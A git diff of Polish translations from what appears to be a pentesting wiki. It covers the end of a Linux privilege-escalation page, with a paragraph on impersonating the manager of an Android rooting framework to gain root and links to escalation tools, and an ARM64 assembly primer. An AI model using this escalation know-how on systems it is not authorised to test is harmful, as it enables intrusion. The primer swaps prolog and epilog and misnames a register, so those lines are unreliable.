cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks często hookują syscall, aby udostępnić uprzywilejowaną funkcjonalność kernela do userspace managera. Słaba autentykacja managera (np. sprawdzenia sygnatury oparte na FD-order lub słabe schematy haseł) może umożliwić lokalnej aplikacji podszycie się pod managera i eskalację do root na urządzeniach już zrootowanych. Dowiedz się więcej i szczegóły eksploatacji tutaj: +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Mechanizmy zabezpieczeń jądra +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Więcej pomocy +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Najlepsze narzędzie do wyszukiwania lokalnych privilege escalation wektorów dla Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Najlepsze narzędzie do wyszukiwania lokalnych wektorów privilege escalation w Linuksie:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumeruje luki jądra w Linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Zbiór dodatkowych skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Referencje +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 1829196de..8efca9423 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -2,203 +2,206 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Poziomy Wyjątków - EL (ARM64v8)** +## **Poziomy wyjątków - EL (ARM64v8)** -W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (EL), definiują poziom uprawnień i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy ma inny cel: +W architekturze ARMv8 poziomy wykonania, znane jako Exception Levels (EL), określają poziom przywilejów i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy pełni inną rolę: -1. **EL0 - Tryb Użytkownika**: -- Jest to poziom o najmniejszych uprawnieniach i służy do wykonywania zwykłego kodu aplikacji. -- Aplikacje działające na poziomie EL0 są od siebie izolowane oraz od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność. -2. **EL1 - Tryb Jądra Systemu Operacyjnego**: +1. **EL0 - tryb użytkownika**: +- To najmniej uprzywilejowany poziom, używany do wykonywania zwykłego kodu aplikacji. +- Aplikacje działające w EL0 są izolowane od siebie i od oprogramowania systemowego, co zwiększa bezpieczeństwo i stabilność. +2. **EL1 - tryb jądra systemu operacyjnego**: - Większość jąder systemów operacyjnych działa na tym poziomie. -- EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu. -3. **EL2 - Tryb Hypervisora**: -- Ten poziom jest używany do wirtualizacji. Hypervisor działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim własnym EL1) działającymi na tym samym sprzęcie fizycznym. -- EL2 zapewnia funkcje izolacji i kontroli wirtualizowanych środowisk. -4. **EL3 - Tryb Monitorowania Bezpieczeństwa**: -- Jest to poziom o najwyższych uprawnieniach i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych. -- EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny itp.). +- EL1 ma więcej uprawnień niż EL0 i może uzyskiwać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami w celu zachowania integralności systemu. +3. **EL2 - tryb hypervisora**: +- Ten poziom jest używany do wirtualizacji. Hypervisor działający w EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim EL1) działającymi na tym samym fizycznym sprzęcie. +- EL2 dostarcza funkcje izolacji i kontroli środowisk wirtualizowanych. +4. **EL3 - tryb Secure Monitor**: +- To najbardziej uprzywilejowany poziom, często używany do bezpiecznego uruchamiania i zaufanych środowisk wykonywania. +- EL3 może zarządzać i kontrolować dostęp między stanami bezpiecznymi i niebezpiecznymi (np. secure boot, trusted OS itp.). -Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzania różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprawnień pomaga w skutecznym izolowaniu różnych komponentów systemu, co zwiększa bezpieczeństwo i odporność systemu. +Użycie tych poziomów pozwala na uporządkowane i bezpieczne zarządzanie różnymi aspektami systemu, od aplikacji użytkownika po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów przywilejów pomaga skutecznie izolować różne komponenty systemu, zwiększając w ten sposób jego bezpieczeństwo i odporność. ## **Rejestry (ARM64v8)** -ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych od `x0` do `x30`. Każdy z nich może przechowywać wartość **64-bitową** (8-bajtową). W przypadku operacji, które wymagają tylko wartości 32-bitowych, te same rejestry mogą być używane w trybie 32-bitowym, używając nazw w0 do w30. +ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych `x0` do `x30`. Każdy może przechowywać wartość **64-bitową** (8 bajtów). Dla operacji wymagających tylko wartości 32-bitowych te same rejestry można adresować w trybie 32-bitowym używając nazw `w0` do `w30`. -1. **`x0`** do **`x7`** - Zwykle są używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów. -- **`x0`** również przenosi dane zwrotne funkcji. -2. **`x8`** - W jądrze Linux, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest `x16`!** -3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych. -4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur). +1. **`x0`** do **`x7`** - Zwykle używane jako rejestry tymczasowe i do przekazywania parametrów do podprocedur. +- **`x0`** również zawiera dane zwracane przez funkcję +2. **`x8`** - W jądrze Linux `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest jednak x16!** +3. **`x9`** do **`x15`** - Kolejne rejestry tymczasowe, często używane dla zmiennych lokalnych. +4. **`x16`** i **`x17`** - **Intra-procedural Call Registers**. Rejestry tymczasowe dla wartości natychmiastowych. Są też używane do pośrednich wywołań funkcji i stubów PLT. - **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**. -5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linux**. -6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego. -7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr **`x29`** jest **przechowywany na stosie**, a adres **nowego** wskaźnika ramki (adres **`sp`**) jest **przechowywany w tym rejestrze**. -- Ten rejestr może być również używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**. -8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotny**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze. -- Może być również używany jak każdy inny rejestr. -- Jeśli aktualna funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć). -9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia wierzchołka stosu. -- Wartość **`sp`** powinna być zawsze utrzymywana co najmniej w **wyrównaniu quadword**, w przeciwnym razie może wystąpić wyjątek wyrównania. -10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres **`pc`** w **`lr`** (Rejestr Łączenia). -11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`** jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**). +5. **`x18`** - **Platform register**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do zastosowań specyficznych dla platformy: wskaźnik do bieżącego bloku środowiska wątku w Windows, lub wskaźnik do aktualnie **wykonywanej struktury zadania w jądrze linux**. +6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływanego (callee-saved). Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one zapisywane na stosie i odzyskiwane przed powrotem do wywołującego. +7. **`x29`** - **Frame pointer** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu w wyniku wywołania funkcji, rejestr **`x29`** jest **zapisywany na stosie** a **nowy** adres wskaźnika ramki (adres **`sp`**) jest **zapisywany w tym rejestrze**. +- Ten rejestr może być też używany jako **rejestr ogólnego przeznaczenia**, chociaż zwykle służy jako odniesienie do **zmiennych lokalnych**. +8. **`x30`** lub **`lr`** - **Link register**. Zawiera **adres powrotu** gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register) przez zapisanie wartości **`pc`** w tym rejestrze. +- Może być też używany jak każdy inny rejestr. +- Jeśli bieżąca funkcja wywoła nową funkcję i nadpisze `lr`, zapisze go na stosie na początku (to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Zapisz `fp` i `lr`, wygeneruj miejsce i ustaw nowy `fp`)) i odzyska go na końcu (to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i wróć)). +9. **`sp`** - **Stack pointer**, używany do śledzenia szczytu stosu. +- wartość **`sp`** powinna zawsze zachować co najmniej **wyrównanie do quadword** inaczej może wystąpić wyjątek wyrównania. +10. **`pc`** - **Program counter**, wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko poprzez generowanie wyjątków, powroty z wyjątków i branche. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje branch with link (BL, BLR) aby zapisać adres **`pc`** w **`lr`** (Link Register). +11. **`xzr`** - **Zero register**. Nazywany też **`wzr`** w swojej 32-bitowej formie. Można go użyć do łatwego uzyskania zera (częsta operacja) lub do wykonywania porównań używając **`subs`** jak **`subs XZR, Xn, #10`** nie zapisując wyniku nigdzie (w **`xzr`**). -Rejestry **`Wn`** są **32-bitową** wersją rejestrów **`Xn`**. +Rejestry **`Wn`** są wersją **32-bitową** rejestru **`Xn`**. + +> [!TIP] +> Rejestry od X0 do X18 są lotne (volatile), co oznacza, że ich wartości mogą być zmieniane przez wywołania funkcji i przerwania. Natomiast rejestry od X19 do X28 są nie-lotne (non-volatile), co oznacza, że ich wartości muszą być zachowane podczas wywołań funkcji ("callee saved"). ### Rejestry SIMD i zmiennoprzecinkowe -Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (Single Instruction Multiple Data) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitach, **32**-bitach, **16**-bitach i **8**-bitach, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**. +Ponadto istnieje jeszcze **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach single instruction multiple data (SIMD) oraz do obliczeń zmiennoprzecinkowych. Są one nazywane rejestrami Vn chociaż mogą też działać w trybach **64**-bit, **32**-bit, **16**-bit i **8**-bit i wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**. ### Rejestry systemowe -**Istnieją setki rejestrów systemowych**, zwanych również rejestrami o specjalnym przeznaczeniu (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\ -Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**. +**Istnieją setki rejestrów systemowych**, nazywanych także rejestrami specjalnego przeznaczenia (SPRs), używanych do **monitorowania** i **kontroli** zachowania **procesora**.\ +Można je odczytywać lub ustawiać tylko przy użyciu dedykowanych instrukcji specjalnych **`mrs`** i **`msr`**. -Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 to regularny poziom wyjątku (uprawnienia), na którym działają zwykłe programy).\ -Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zwykle pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro). +Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii wstecznej. Sufiks `EL0` wskazuje minimalny poziom wyjątku, z którego rejestr może być dostępny (w tym przypadku EL0 to zwykły poziom przywilejów, na którym działają programy użytkownika).\ +Często są używane do przechowywania **adresu bazowego lokalnej przestrzeni wątku** (thread-local storage). Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi można odczytać z EL0 i zapisać z EL1 (np. jądro). -- `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0` -- `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0` +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** zawiera kilka komponentów procesu zserializowanych w widocznym dla systemu operacyjnego **`SPSR_ELx`** specjalnym rejestrze, gdzie X oznacza **poziom uprawnień** **wywołanego** wyjątku (to pozwala na odzyskanie stanu procesu po zakończeniu wyjątku).\ -Oto dostępne pola: +**PSTATE** zawiera kilka komponentów procesu zserializowanych w widocznym dla systemu operacyjnego specjalnym rejestrze **`SPSR_ELx`**, gdzie X to **poziom uprawnień wywołanego** wyjątku (to pozwala odzyskać stan procesu po zakończeniu wyjątku).\ +Dostępne pola to:
- Flagi warunkowe **`N`**, **`Z`**, **`C`** i **`V`**: - **`N`** oznacza, że operacja dała wynik ujemny - **`Z`** oznacza, że operacja dała zero -- **`C`** oznacza, że operacja miała przeniesienie -- **`V`** oznacza, że operacja dała przepełnienie ze znakiem: -- Suma dwóch liczb dodatnich daje wynik ujemny. -- Suma dwóch liczb ujemnych daje wynik dodatni. -- W przypadku odejmowania, gdy duża liczba ujemna jest odejmowana od mniejszej liczby dodatniej (lub odwrotnie), a wynik nie może być reprezentowany w zakresie danej wielkości bitowej. -- Oczywiście procesor nie wie, czy operacja jest ze znakiem, czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpiło przeniesienie w przypadku, gdy było to ze znakiem lub bez znaku. +- **`C`** oznacza, że wystąpiło przeniesienie (carry) +- **`V`** oznacza, że operacja spowodowała przepełnienie ze znakiem: +- Suma dwóch dodatnich liczb daje wynik ujemny. +- Suma dwóch ujemnych liczb daje wynik dodatni. +- W odejmowaniu, gdy duża liczba ujemna jest odjęta od mniejszej dodatniej (lub odwrotnie), a wynik nie mieści się w zakresie danej szerokości bitowej. +- Oczywiście procesor nie wie, czy operacja jest ze znakiem czy bez, więc sprawdza C i V w operacjach i wskaże, czy wystąpiło przeniesienie niezależnie od tego, czy operacja była ze znakiem czy bez. > [!WARNING] -> Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne, które mają sufiks s, takie jak **`ADDS`**, również to robią. +> Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne z sufiksem s, jak **`ADDS`**, także to robią. -- Flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu. -- Aktualny **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0. -- Flaga **jednoetapowego** (**`SS`**): Używana przez debugery do jednoetapowego wykonania, ustawiając flagę SS na 1 wewnątrz **`SPSR_ELx`** przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy. -- Flaga stanu **nielegalnego wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego. -- Flagi **`DAIF`**: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków. -- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwania sprzętowego (IRQ). Flaga F jest związana z **szybkimi żądaniami przerwania** (FIR). -- Flagi **wyboru wskaźnika stosu** (**`SPS`**): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie odbywa się przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0. +- Aktualna **szerokość rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu. +- Aktualny **Poziom Wyjątku** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0 +- Flaga **single stepping** (**`SS`**): Używana przez debugery do pojedynczego kroku przez ustawienie flagi SS na 1 w **`SPSR_ELx`** przez wyjątek. Program wykona krok i zgłosi wyjątek pojedynczego kroku. +- Flaga stanu nielegalnego wyjątku (**`IL`**): Służy do oznaczania, gdy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1 i procesor wywołuje wyjątek nielegalnego stanu. +- Flagi **`DAIF`**: Te flagi pozwalają uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki. +- Jeśli **`A`** jest 1 oznacza to, że będą wyzwalane **asynchroniczne aborty**. **`I`** konfiguruje reagowanie na zewnętrzne żądania przerwań sprzętowych (IRQs), a **`F`** dotyczy **Fast Interrupt Requests** (FIRs). +- Flagi wyboru wskaźnika stosu (**`SPS`**): Uprzywilejowane programy działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a tym z modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączenie realizowane jest przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0. -## **Konwencja Wywołań (ARM64v8)** +## **Konwencja wywołań (ARM64v8)** -Konwencja wywołań ARM64 określa, że **pierwsze osiem parametrów** do funkcji jest przekazywanych w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry są przekazywane na **stosie**. Wartość **zwrotna** jest przekazywana z powrotem w rejestrze **`x0`**, lub w **`x1`**, jeśli ma długość 128 bitów. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** podczas wywołań funkcji. +Konwencja wywołań ARM64 określa, że **pierwsze osiem parametrów** funkcji przekazywane jest w rejestrach **`x0` do `x7`**. **Dodatkowe** parametry przekazywane są na **stosu**. Wartość **zwracana** jest przekazywana w rejestrze **`x0`**, lub także w **`x1`**, jeśli ma **128 bitów**. Rejestry **`x19`** do **`x30`** oraz **`sp`** muszą być **zachowane** podczas wywołań funkcji. -Podczas odczytywania funkcji w asemblerze, zwróć uwagę na **prolog i epilog funkcji**. **Prolog** zazwyczaj obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego **wskaźnika ramki** i **alokację przestrzeni na stosie**. **Epilog** zazwyczaj obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji. +Czytając funkcję w asemblerze, szukaj **prologu i epilogu funkcji**. **Prolog** zwykle obejmuje **zapisanie wskaźnika ramki (`x29`)**, **ustawienie** nowego wskaźnika ramki oraz **alokację przestrzeni na stosie**. **Epilog** zwykle obejmuje **przywrócenie zapisanego wskaźnika ramki** i **powrót** z funkcji. -### Konwencja Wywołań w Swift +### Konwencja wywołań w Swift -Swift ma swoją własną **konwencję wywołań**, którą można znaleźć w [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift ma własną **konwencję wywołań**, którą można znaleźć pod adresem [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Typowe Instrukcje (ARM64v8)** +## **Często używane instrukcje (ARM64v8)** -Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych. +Instrukcje ARM64 zwykle mają **format `opcode dst, src1, src2`**, gdzie **`opcode`** to operacja do wykonania (takie jak `add`, `sub`, `mov` itp.), **`dst`** to rejestr docelowy, w którym zostanie zapisany wynik, a **`src1`** i **`src2`** to rejestry źródłowe. W miejsce rejestrów źródłowych można także użyć wartości natychmiastowych. - **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego. -- Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`. +- Przykład: `mov x0, x1` — Przenosi wartość z `x1` do `x0`. - **`ldr`**: **Załaduj** wartość z **pamięci** do **rejestru**. -- Przykład: `ldr x0, [x1]` — To ładuje wartość z lokalizacji pamięci wskazywanej przez `x1` do `x0`. -- **Tryb offsetu**: Wskazuje na offset wpływający na wskaźnik oryginalny, na przykład: +- Przykład: `ldr x0, [x1]` — Ładuje wartość z adresu pamięci wskazywanego przez `x1` do `x0`. +- **Tryb offsetu**: Offset wpływający na wskaźnik źródłowy jest wskazany, na przykład: - `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8 -- `ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4 -- **Tryb wstępnie indeksowany**: To zastosuje obliczenia do oryginału, uzyska wynik i również przechowa nowy oryginał w oryginale. -- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8` -- `str lr, [sp, #-4]!`, Zapisz rejestr łączenia w sp i zaktualizuj rejestr sp -- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany jest offset. -- `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 z `x1 + 8` -- **Adresowanie względne do PC**: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC -- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do aktualnego PC. +- `ldr x2, [x0, x1, lsl #2]`, załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) * 4 +- **Tryb pre-indeksowany**: Najpierw obliczany jest adres, wynik jest użyty do załadowania i jednocześnie nowy adres jest zapisany w rejestrze źródłowym. +- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i zapisze w x1 wynik `x1 + 8` +- `str lr, [sp, #-4]!`, Zapisz link register do sp i zaktualizuj rejestr sp +- **Tryb post-indeksowany**: Podobny do poprzedniego, ale adres pamięci jest odczytywany najpierw, a potem obliczany i zapisywany offset. +- `ldr x0, [x1], #8`, załaduj z `x1` do `x0` i zaktualizuj x1 do `x1 + 8` +- **Adresowanie w relacji do PC**: W tym przypadku adres do załadowania jest obliczany względem rejestru PC +- `ldr x1, =_start`, To załaduje adres, gdzie zaczyna się symbol `_start` do x1 względem bieżącego PC. - **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**. -- Przykład: `str x0, [x1]` — To zapisuje wartość w `x0` do lokalizacji pamięci wskazywanej przez `x1`. -- **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze. -- Przykład: `ldp x0, x1, [x2]` — To ładuje `x0` i `x1` z lokalizacji pamięci w `x2` i `x2 + 8`, odpowiednio. -- **`stp`**: **Zapisz parę rejestrów**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze. -- Przykład: `stp x0, x1, [sp]` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp` i `sp + 8`, odpowiednio. -- `stp x0, x1, [sp, #16]!` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp+16` i `sp + 24`, odpowiednio, i aktualizuje `sp` do `sp+16`. -- **`add`**: **Dodaj** wartości dwóch rejestrów i przechowaj wynik w rejestrze. +- Przykład: `str x0, [x1]` — Zapisuje wartość z `x0` do pamięci pod adresem wskazywanym przez `x1`. +- **`ldp`**: **Load Pair of Registers**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokacji pamięci**. Adres pamięci jest zwykle utworzony przez dodanie offsetu do wartości w innym rejestrze. +- Przykład: `ldp x0, x1, [x2]` — Ładuje `x0` i `x1` z lokacji pamięci pod `x2` i `x2 + 8`. +- **`stp`**: **Store Pair of Registers**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokacji pamięci**. Adres pamięci jest zwykle utworzony przez dodanie offsetu do wartości w innym rejestrze. +- Przykład: `stp x0, x1, [sp]` — Zapisuje `x0` i `x1` do lokacji pamięci pod `sp` i `sp + 8`. +- `stp x0, x1, [sp, #16]!` — Zapisuje `x0` i `x1` do lokacji pamięci pod `sp+16` i `sp + 24`, oraz aktualizuje `sp` do `sp+16`. +- **`add`**: **Dodaj** wartości dwóch rejestrów i zapisz wynik w rejestrze. - Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] -- Xn1 -> Cel +- Xn1 -> Docelowy - Xn2 -> Operand 1 -- Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy) -- \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX -- Przykład: `add x0, x1, x2` — To dodaje wartości w `x1` i `x2` razem i przechowuje wynik w `x0`. -- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięcie 12 razy) 